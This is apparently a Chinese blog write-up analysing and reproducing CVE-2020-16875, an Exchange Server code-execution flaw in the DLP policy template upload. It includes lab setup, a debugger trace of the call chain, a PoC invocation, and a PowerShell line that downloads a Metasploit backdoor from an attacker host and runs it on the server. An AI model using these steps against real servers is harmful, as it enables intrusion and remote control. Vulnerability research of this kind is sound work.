CVE-2020-16875漏洞分析与复现
CVE-2020-16875漏洞分析与复现
0x01 漏洞简述
Microsoft Exchange Server 是个消息与协作系统。由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。
利用条件:利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。
0x02 环境配置
我觉得这个漏洞的环境的配置是真的恶心了,这个exchange server真实配的我血压上升。
虚拟机:win server 2016:
内存最好8G或以上,CPU 4或以上,否则因为内存爆炸然后崩溃。
SERVER:2016 CU16
可以参考博客:https://saucer-man.com/information_security/748.html#cl-6
一、服务配置:
首先需要安装各种服务:
二、官网下载iso
在官网下载所需iso的文件,慢慢下。。。
三、处理报错
使用管理员用户运行iso下的setup.exe,没有什么特别的,按照自己的想法选,一直下一步,等待进度条慢的我想死…
然后开始处理报错(现在只剩一个了,原来有六个。。。),把这些报错全都处理掉就可以了。总体来说,解决方案就是点后面给的链接直接下,一个一个慢慢来。
期间安了十来个包,重启了六七次,我真是吐了。
安装非常之慢,大概需要三个小时左右
注意,内存一定要够大,否则就会像我一样白给。
先在官网上向前翻找到,漏洞产生时的更新版本,可以看到专门为这个漏洞更了一版,可见其危害,下载这一版本前一版,也就是未patch的相关版本文件,不过我们不是用户,所以也不需要做安全更新。
四、处理w3wp.exe
可以看到w3wp杀疯了直接,我们需要对他做一些限制。
只能说好了一点,但是时不时的还会疯狂卡顿,目前没找到好的解决方案。
注意,此处还需要更改如下字段,否则会出现503错误:
终于,访问到了:
(密码就是电脑管理员账号密码)
五、版本确认:
与官网进行对比:
1 | https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 |
0x03 漏洞分析
一、背景知识
下面对上文中我们在安装过程中遇到的新名词进行学习,本部分内容参考百度百科相关词条。
1.iis:
互联网信息服务(英语:Internet Information Services,简称IIS),是由微软公司提供的基于运行Microsoft Windows的互联网基本服务,可以实现在windows上部署小型网站。
2. .NET:
.NET框架(.NET Framework) 是由微软开发的网络软件开发平台,处在较为下层的位置,其是一个多语言组件开发和执行环境,它提供了一个跨语言的统一编程环境。.NET框架的目的是便于开发人员更容易地建立Web应用程序和Web服务,使得Internet上的各应用程序之间,可以使用Web服务进行沟通。
3.exchange:
Microsoft Exchange Server 是个消息与协作系统。Exchange server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统,简单的说,他是一个基于.NET架构开发的一个软件。
4.DLP
防止数据丢失(Data loss Prevention)是Exchange Server 2013带来的一个新功能,感觉其实应该叫做防止数据泄露,许多第三方工具和设备也有类似的功能,而在Exchange 2013中直接集成了,并且之前的传输规则也整合到了一起。该功能通过对内容的深入分析,能够帮助企业识别、监控和保护敏感信息传递。
DLP通过关键字匹配、词典匹配、正则表达式的评估,和其他内容的检查,深入分析内容以发现组织内违法DLP规则的内容。一旦发现了违反了规则的内容,DLP会对用户进行提醒或者是组织,告知提醒用户邮件包含敏感内容或者违规传递。
二.基本情况概述
在官网中,对于该漏洞的描述是:由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在远程执行代码漏洞。
其中又提到了一个我们不熟悉的词汇:cmdlet。cmdlet 是在 PowerShell 环境中使用的一种轻量级命令,其会执行操作,并且通常会向管道中的下一个命令返回一个 Microsoft .NET 对象。实际上根据我的查询理解,其就是powershell为用户设置的一个接口,开发、使用者可以通过cmdlet执行命令。
那么在exchange server中,专门为了避免数据丢失,设立了一个Data Loss Prevention角色,这个角色可以使用命令New-DlpPolicy来新建一个对于内容检查的政策,而该政策的参数中包括一个参数**-TemplateData**,由于对此参数没有进行任何过滤操作,系统会直接执行此参数传入的内容,导致代码执行漏洞(且是在system权限下的)。
基础信息:
漏洞文件:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET\Files\ecp\App_Web_xxxx.dll
漏洞函数:System.Web.UI.Page类,ProcessUpload()函数
漏洞参数:**-TemplateData**
基础权限:Data Loss Prevention角色
三、漏洞原理分析
在本部分中,我们选用dnspy作为分析工具。
分析的相关步骤,思路,和部分图源参考:https://www.anquanke.com/post/id/219091?from=timeline;
总述:此漏洞核心问题是对cmdlet参数处理不当,或者说没有验证参数是否合法。不过该漏洞需要对应账户开启Data Loss Prevention角色,否则无法访问漏洞所在页面。
1. aspx处理流程基础知识
aspx文件是微软的在服务器端运行的动态网页文件 [1] ,属于ASP.NET技术。ASP.NET是由微软在·NET Framework框架中所提供,开发Web应用程序的类库.
aspx文件是微软的在服务器端运行的动态网页文件,而不像静态的html文件。它通过IIS解析执行后可以得到动态页面,是微软推出的一种新的网络编程方法,而不是asp的简单升级,因为它的编程方法和asp有很大的不同,他是在服务器端靠服务器编译执行的程序代码。
摘自百度百科aspx词条。
在每一次http请求时,都会有一个HttpApplication类型的对象来管理这次请求的过程,同时创建一个HttpContext对象,前者负责装配出整个“HTTP请求处理管线(HTTP Pipeline)”也就是一条用于处理后者的流水线。HttpContext对象经过流水线的不同部分时,HttpApplication对象会先后激发出一连串的事件,在响应这些事件时,HttpContext对象被处理。处理了相关事件之后,HttpContext对象会最终被Page对象所接收,并成为Page类中的Context属性。
综上,每个被访问的ASP.NET页面都会被转换为一个“派生自Page类的页面类”。
然后呢,在Page类中,实现了IHttpHandler接口,此接口定义了一个ProcessRequest()方法。ASP.NET页面类生成以后被自动编译为程序集,然后其ProcessRequest()方法被自动调用。ProcessRequest()方法 的执行结果再次被HttpContext对象所承载,控制又转回到“HTTP请求处理流水线”中,HttpApplication对象继续激发后继的事件。这时,如果还有特定的HTTP模块响应这些事件,则它们会被自动调用。
综上,ASP.NET页面会被转化为一个页面类后,自动调用**ProcessRequest()**方法进行处理。
2.dnspy调试前折磨
那么,由于我们在浏览器上访问了ManagePolicyFromISV.aspx页面,aspx文件在.NET Framework下运行一般会在C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\ecp\
路径中生成App_Web_xxxx.dll,我们可以这些有可能的dll拖入dnSpy工具中,并找到负责处理ManagePolicyFromISV.aspx页面的类。
从如下的dll中一个一个寻找,突出的就是一个痛苦。
找到了!我们进入ProcessRequest函数中,可以看到这个函数调用了另一个ProcessRequest函数,我们双击进入,进入的是进入System.Web.UI.Page类中的**public virtual void ProcessRequest(HttpContext context)**函数:
上图函数开始处下个断点:
好了,现在我们可以开始动态调试了!
在这个时候,我们会面临一个问题,我们要调试哪一个进程:
此时可以通过上图中的命令,找到我们要调试的进程MSExchangeECPAppPool,附加到该进程上
3.dnspy分析函数调用链
中间单步的代码逻辑此处略过不表
一步步调试,我们可以发现,进入`System.Web.UI.Page`类的`ProcessRequest()`函数后,之后又会来到`ProcessRequestMain()`函数。
然后,ProcessRequestMain()
又会调用LoadRecursive()
。
LoadRecursive()
根据对象的不同,又会进入不同的处理方法,对于我们的这了dlp策略,程序最终会进入Microsoft.Exchange.Management.ControlPanel.DLPISVService
类中的ExecuteUpload()
函数中,该函数很快调用了PSCommand()
函数。
(此图源自:https://www.anquanke.com/post/id/219091?from=timeline,因为我不知道怎么打开调用堆栈)
从调用堆栈中,可以看到函数调用的顺序:
1 | Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.DLPISVService.ProcessUpload(Microsoft.Exchange.Management.ControlPanel.DLPPolicyUploadParameters parameters) (IL=0x0006, Native=0x00007FFF99CF4E50+0x15) |
最后,我们的参数parameters将会被传给New-DLPPolicy
这个cmdlet
中,然后直接被执行。
总结一下函数的调用链,如下图所示:
分析过后,我们已经对调用流程非常了解了,下面我们需要分析调用最后一步出现的参数。
4.cmdlet分析
也就是最后一步调用中使用PSCommand函数中名为New-DLPPolicy的这个cmdlet:
对于其详细的解释,我们直接访问微软官网该词条:
此cmdlet可在本地Exchange和基于云的服务中使用,使用DlpPolicy cmdlet可以在您的Exchange组织中创建数据丢失防护(DLP)策略。在下方参数列表中,我们发现参数 **[-TemplateData <Byte[]>]**,这与刚刚我们调试中看到的内容是一致的!
往下看:
也就是呢,我们可以使用New-DLPPolicy作为一条命令,其中有一条参数,是我们所能够控制的参数。
那从用户的角度来看,我们的传入点在哪呢?
在官网找到上文中提到的dlp处理机制文件上传模板如下:
1 |
|
可以看到,在<commandBlock>标签中,我们可以使用MSExchange提供的一条cmdlet:new-transportRule,这条cmdlet最终会被送入刚刚提到的PSCommand函数调用的New-DLPPolicy cmdlet的-TemplateData中得到执行,但是此过程中没有进行任何的校验!
因此,我们猜测,也可以直接提供一条powershell的cmdlet,该cmdlet最终也会被执行。
0x04 漏洞利用
一、手动利用poc流程
新建用户:密码为Cve16875
在靶机服务器打开Exchange Management Shell
,执行代码:
1 | New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "hello" |
手动执行:
上传poc.xml文件。
可以看到我们执行了cmd.exe,证明poc是可行的。
二、脚本进行poc
上述过程总体还是比较繁琐,我们可以将其转化为脚本一键执行
执行脚本:
1 | python ./poc.py 192.168.6.143 hello@cve16875.com:Cve16875 cmd.exe |
python脚本如下:
1 | import re |
通过一个脚本,我们全自动的实现了命令执行这一流程,不再需要自行进行请求,更加方便了。
三、exp的生成
上面我们已经达到了命令执行的效果,但是我们不能每次都通过命令执行的漏洞进行命令执行操作,这样不够方便,也不够稳定,因此我们选用metasploit。
在这里不对metasploit的使用进行赘述,可以参考我的另一篇博客。
在生成了木马文件后,在kali上部署服务,将木马文件放置在var/www/html目录下,然后运行apache2服务。
这样一来,我们可以通过访问uri的方式下载木马文件,通过如下语句,即可下载并执行木马文件。
1 | (Invoke-WebRequest -Uri http://192.168.6.130/meter_re_tcp_x86.exe -OutFile C:\Users\86183\Desktop\bkdoor.exe) ; (C:\Users\86183\Desktop\bkdoor.exe) |
注:此处连接符不能用 -and
,因为-and
连接符会导致第一句中文件还没下载结束前,第二句就已经开始执行,导致返回false。
我们将上述内容粘贴进xml文件的相应位置(如自动化执行,只需要更改输入的参数):
1 |
|
按照上文中的方法上传:
可以看到服务器自动下载并运行了该木马程序,我们可以后续进行持久化、进程迁移等等后续工作。
0x05 参考文献
漏洞基本信息:
https://nvd.nist.gov/vuln/detail/CVE-2020-16875
环境搭建部分:
https://saucer-man.com/information_security/748.html#cl-6
逆向思路参考:
https://www.anquanke.com/post/id/219091?from=timeline#h2-1
实验过程参考:
https://blog.csdn.net/z136370204/article/details/109818580
MS官网:
https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
https://docs.microsoft.com/zh-cn/powershell/module/exchange/new-dlppolicy?view=exchange-ps
https://docs.microsoft.com/zh-cn/powershell/exchange/exchange-cmdlet-syntax?view=exchange-ps